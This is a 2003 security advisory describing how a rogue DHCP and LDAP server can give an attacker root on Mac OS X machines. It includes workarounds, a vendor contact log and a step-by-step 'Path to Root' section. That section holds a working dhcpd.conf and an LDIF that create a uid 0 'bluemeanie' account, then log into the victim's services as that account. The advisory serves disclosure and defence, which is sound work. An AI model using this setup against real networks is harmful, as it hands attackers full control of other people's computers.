http://www.carrel.org/dhcp-vuln.html

Mac OS X Security Advisory
Vulnerability:
Malicious DHCP response can grant root access

Affected Software
Mac OS X 10.3 (all versions through at least 26-Nov-2003)
Mac OS X Server 10.3 (all versions through at least 26-Nov-2003)
Mac OS X 10.2 (all versions through at least 26-Nov-2003)
Mac OS X Server 10.2 (all versions through at least 26-Nov-2003)
Probably earlier versions of Mac OS X and Mac OS X Server
Possibly developer seeded copies of future versions of Mac OS X

Abstract
A series of seemingly innocuous default settings can cause an affected Mac OS X machine to 
trust a malicious machine on a network for user, group, and volume mounting settings.

What does this mean to the average user
Anyone who can gain access to your network can gain administrator (root) access to your 
computer and therefore steal your data or launch attacks upon others as soon as you reboot 
your machine. System administrators and users of affected software should read the section 
"Workarounds" for immediate actions to protect their machines. It is important to note 
that WEP security in 802.11b/g (AirPort/AirPort Extreme) wireless networks is generally 
not sufficient to protect your network from access by an attacker.

Vendor Patch
Apple Computer has been notified of this issue and may be working a fix at this time. At 
the time of this writing, a fix is not available from Apple.

Workarounds
There are a variety of avenues to avoiding this vulnerability...

    1. Disable any network authorization services from obtaining settings from DHCP:
           * in Directory Access, select LDAPv3 in the Services tab, click "Configure...", 
uncheck "Use DHCP-supplied LDAP Server"
           * in Directory Access, select NetInfo in the Services tab, click 
"Configure...", uncheck "Attempt to connect using broadcast protocol" and "Attempt to 
connect using DHCP protocol"
           * in Directory Access, uncheck LDAPv3 and NetInfo in the Services tab, if you 
don't intend to use them
    2. Turning off DHCP on all interfaces on your affected Mac OS X machine can also keep 
you from being affected.

For added security, be sure to disable any unused network ports:

     * turn the AirPort card off or remove it, if it is not being used.

Configuration Awareness
If a user should need any of these settings turned on due to the network and authorization 
system they are currently using, they should be aware that they could fall prey to a 
malicious individual using the techniques outlined in this advisory. Steps to mitigate 
this concern could be as simple as manually configuring the directory server settings on 
the affected machine.

Technical Details
By default, the affected versions of Mac OS X attempt to negotiate DHCP on all available 
interfaces. In the event that an Airport card is installed but there is no network nearby, 
they also default to associate with any network that might appear and then use DHCP to 
obtain an address. The system will also use DHCP provided fields, if available, to connect 
to an LDAP or NetInfo server on the network.

The default settings in "Directory Access" on affected systems will cause the system to 
place the network LDAP or NetInfo server ahead of the local user info for any given 
account, and will implicitly trust the LDAP or NetInfo server to provide correct 
information. Furthermore, nothing in the system prevents a login as a user with uid 0 
(zero) with any login name. For example, an LDAP or NetInfo source with an account 
username "bluemeanie", uid 0, would be perfectly valid and usable for login at the login 
window and on any network provided service, including ssh (which is turned on by default 
in certain versions of the affected software).

In most cases, the Mac will need to be booted into the malicious environment to be 
exploitable by this flaw. (The netinfod process must be restarted to cause the malicious 
server to be inserted into the authentication source list.)

By taking advantage of these default settings, a malicious individual could potentially 
take full control of a Mac OS X workstation or server without even having to make a 
physical connection to the machine. With a good antenna the malicious individual wouldn't 
even have to be in the same building.

While the further examples in this advisory deal exclusively with LDAP, this vulnerability 
is equally exploitable using a malicious NetInfo server.

Philosophical Details
The main philosophical failing in this issue was to explicitly trust information from a 
network by default. Trusting information from the any network can be a very dangerous 
matter and especially the hostile realms of IP and the Internet. Ideally, data from the 
network should only be trusted when the user explicitly says they would like to, or when 
accepting that data cannot have possibly any destructive repercussions.

It helps enormously if the user is cognizant of the dangers in trusting the information. 
One should avoid issuing security warnings if only to make sure users don't simply get in 
the habit of clicking "OK". This problem has manifested itself many fold in Microsoft 
Windows where users are conditioned to clicking through security warnings for ActiveX 
controls and similar issues even when they possess a signature verifiable by an accepted 
X.509 certificate authority. To a lesser extent, the click-through licensing has become a 
force of habit for many users as well where they don't bother reading a license in which 
they may be guaranteeing a free taxi ride every Saturday to the developer.

Usually, no harm can come from accepting data from a DHCP server. One presumes that even 
if the server isn't legitimate it won't cause any unavoidable harm. In the average case, 
the user will wind up with an IPv4 address that won't work or some similarly benign 
difficulty. In the worst case, a malicious DNS server assignment could cause harm through 
social engineering approaches; an attacker could fool the machine and user into 
transmitting login and password information to the wrong host. However, SSL, which the 
well-secured user should be using, should mitigate this harm by authenticating the 
identity of hosts.

In this case, the netinfod processes accept the authentication server information at face 
value even though the source is unknown and unverified. This information should be 
untrusted unless the user has explicitly told the machine otherwise. Mechanisms for 
verifying the trust with the user abound. Most obvious would be to prompt users before 
accepting authentication or automounting information from a network. The IP, MAC address 
and network interface of the DHCP server could be saved to make the prompt a once-only 
experience for desktop support teams deploying new systems. Similarly, the user could 
decide never to trust authentication information from foreign hosts. This simple step 
would force malicious folk to work significantly harder to obtain the trust of the user 
and the user's system.

An Attack Narrative on a Wireless Network
A malicious individual sets up a laptop with an 802.11b card running in AP mode. The 
individual then sets up a DHCP server on the laptop to give addresses and ldap-server 
(DHCP option 95) responses that point to the laptop and a private network. The individual 
then sets up an LDAP server on the laptop pre-populated with a user account with uid 0 and 
the ou=macosxodconfig item with the appropriate XML for the field locations.

The individual then simply sits back and waits for the DHCP clients to take leases on the 
wireless network. When they do a simple port scan of the assigned address will reveal any 
ports that can be taken advantage of. At this point, the individual can install and run 
any malicious executable desired as uid 0.

The malicious individual at this point can turn the 802.11b card in their laptop off and 
the only trace of their malfeasance on the victim machine is possibly a few lines in the 
system logs.

Adapting the Attack to a Wired Network
To adapt an attack on this vulnerability to a wired network the malicious individual 
simply needs to beat any legitimate DHCP server that might be on the network in sending a 
response out to a request for an address. If the machine was previously associated with a 
DHCP server this becomes more difficult but is by no means impossible. The wired attack or 
an attack on an existing 802.11b/g network is more complicated but still feasible.

The Path to Root
Taking advantage of this vulnerability is unfortunately quite trivial. Here is a walk 
through of the steps needed for the wireless attack outlined above:

    1. Take a fresh install of a UNIX-like system that supports a WiFi card.
    2. Configure the WiFi card to address 192.168.42.1 with a /24 network mask, if 
possible put the WiFi card into AP mode with any network name.
    3. Install ISC dhcpd, available as a pre-built package for nearly all UNIX-like systems.
    4. Enter the following into the dhcpd.conf (but don't start it yet):

option ldap-server code 95 = text;
authoritative;
subnet 192.168.42.0 netmask 255.255.255.0 {
    range 192.168.42.2 192.168.42.254;
    option ldap-server "ldap://192.168.42.1/ou=evil";
}

    5. Install OpenLDAP, available as a pre-built package for most UNIX-like systems.
    6. Create a file /tmp/odconfig.xml with the OD mapping information OS X needs. 
Alternatively, the ou=macosxodconfig,ou=evil object can be created from an OS X machine 
using the Directory Access application.
    7. Create a file evil.ldif with the following contents and feed it to ldapadd(1):

dn: ou=evil
objectClass: organizationalUnit
ou: people

dn: uid=bluemeanie,ou=evil
objectClass: posixAccount
uid: bluemeanie
userPassword: {crypt}some_crypted_password
cn: Malicious User
gecos: Malicious User
homeDirectory: /
loginShell: /bin/sh
uidNumber: 0
gidNumber: 0

dn: ou=macosxodconfig,ou=evil
objectClass: organizationalUnit
ou: macosxodconfig
description:< file://tmp/odconfig.xml

    8. Confirm the creation of the above records using ldapsearch(1)
    9. Start up the dhcpd process to the WiFi interface
   10. Watch /var/db/dhcpd.leases for potentially vulnerable hosts who load the configuration
   11. Portscan the vulnerable hosts with a tool such as Network Utility.app or nmap to 
find services
   12. Log in to any presented services using the bluemeanie (uidNumber 0) credentials

Bear in mind that the vulnerable hosts may need netinfod(8) to be reloaded to fall prey, 
waiting for them to be rebooted is sufficient.

History of this Advisory & Vendor Contact Log
2003-10-09 Initial version of this advisory
2003-10-09 Apple Computer notified
2003-10-09 Apple Computer confirmed receipt and forwarded to eng. team
2003-10-11 Minor edits, also added "Philosophical Issues" and "Path to Root"
2003-10-14 Apple Computer assigns specific point of contact
2003-10-14 Requested confirmation of issue with Apple Computer
2003-10-15 Apple Computer confirms issue
(2003-10-24 Original deadline given to Apple for acknowledging issue)
(2003-10-24 Mac OS X 10.3 is released with this known issue)
(2003-10-28 Mac OS X 10.3 Security Update released, does not address issue)
2003-10-28 Requested update of fix status from Apple Computer
2003-10-28 Apple Computer proposes Nov. 3 fix date
2003-10-29 Apple Computer reneges on Nov. 3 date
2003-10-29 Requested fix in "2 or 3 weeks" from Apple Computer
(2003-11-04 Mac OS X 10.3 Security Update released, does not address issue)
(2003-11-15 Mac OS X 10.3.1 is released with this known issue)
2003-11-17 Requested update of fix status from Apple Computer
2003-11-18 Requested update of fix status from Apple Computer
(2003-11-19 Mac OS X 10.3.1 Security Update released, does not address issue)
2003-11-19 Apple Computer replies "scheduled to go out in December's update"
2003-11-19 Deadline of Nov. 26 given to Apple Computer
2003-11-25 Minor edits, made "Path to Root" a little more work for the script kiddies
2003-11-26 Advisory issued (48 days after initial vendor notification)

Author, Credit, Redistribution and Copyright Information
This advisory was written by William Carrel.

Redistribution of this text, in whole or in part, with proper credit given is permitted on 
or after 17:00 UTC, November 26th, 2003. Any other redistribution of this advisory without 
the explicit consent of the author is not permitted.

Copyright 2003, William Carrel

Happy Holidays.